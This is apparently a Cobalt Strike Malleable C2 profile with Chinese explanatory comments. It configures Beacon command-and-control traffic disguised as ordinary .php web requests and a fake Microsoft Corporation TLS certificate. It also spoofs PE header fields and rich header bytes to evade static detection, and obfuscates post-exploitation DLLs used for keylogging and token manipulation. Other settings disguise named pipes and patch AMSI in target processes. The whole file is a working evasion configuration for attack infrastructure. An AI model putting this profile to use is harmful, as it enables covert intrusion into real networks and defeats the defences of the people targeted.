###SSL Options###
#https-certificate {
#set keystore "your_store_file.store";
#set password "your_store_pass";
#}

https-certificate {
set C "US"; # 单位的两字母国家代码
set CN "Microsoft IT TLS CA 2"; # 通用名称
set L "Redmond"; # 城市或区域名称
set O "Microsoft Corporation"; # 组织名称
set OU "Microsoft IT"; # 组织单位名称
set ST "Washington"; # 州或省份名称
set validity "365";
}

##CODE-SIGNER Block###
code-signer{
# 用于签名 Windows Executable and Windows Executable (S)，确保Payload一致性
set keystore "cobaltstrike1.store";
set password "password";
set alias "certificate";
}

###HTTP-GET Block###
http-get {
set uri "/login /config /admin /history"; # 自定义多个url请求路径，以空格相隔
# GET请求头部
client {
# header "Host" "www.xxxx.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";

metadata {
netbiosu; # netbios(大写)编码
append ".php"; # 追加参数内容尾缀
parameter "file"; # 将内容放在新增的url参数中
#prepend "user="; # 追加参数内容前缀
#header "Cookie"; # 添加到HTTP Cookie头中
}
}

server {
# 该GET请求返回包头部
header "Content-Type" "text/plain";
output {
base64; # 将内容base64编码传回
print; # 将内容输出于HTTP Body中
}
}
}

###HTTP-Post Block###
http-post {
set uri "/page= /index="; # 不能与http-get的url请求路径完全相同
# POST请求头部
client {
# header "Host" "www.baidu.com";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";
id {
netbios;
append ".php";
uri-append; # 追加到url末尾
}
output {
base64;
print;
}
}

//从文件静态特征上做混淆
//设置PE头部的校验和
set checksum "0";
//设置PE、DLL程序编译时间
set compile_time "11 Nov 2014 06:18:30";
//设置PE头部的入口点
set entry_point "650688";
// 设置PE头部的图像大小（x86）
set image_size_x86 "4661248";
//设置PE头部的图像大小（x64）
set image_size_x64 "4661248";
//设置PE头部的名称
set name "srv.dll";
//定义用于替换Beacon反射性DLL的PE头的自定义字节
set magic_pe "LE";
//设置用于替换Beacon反射性DLL的Rich Header的自定义字节
set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

// 改变我们的post-ex DLLs的权限和内容。此设置启用对Beacon用于post-ex任务的DLLs(如键盘记录或令牌操作)的混淆。
set obfuscate "true";

// 更改我们的post-ex输出命名管道名称。此设置允许控制Beacon用于从作业中检索输出的命名管道。
set pipename "srvsvc-1-5-5-0####";

// 将关键函数指针从Beacon传递到其子作业。启用smart注入将使Beacon将带有关键函数指针的数据结构传递给其post-ex作业。
set smartinject "true";

// 允许多线程post-ex DLLs产生带有伪装起始地址的线程。
// set thread_hint "module!function+0x##";

// 在powerpick、execute-assembly和psinject中禁用AMSI。此选项将会在目标进程中修补AMSI。
set amsi_disable "true";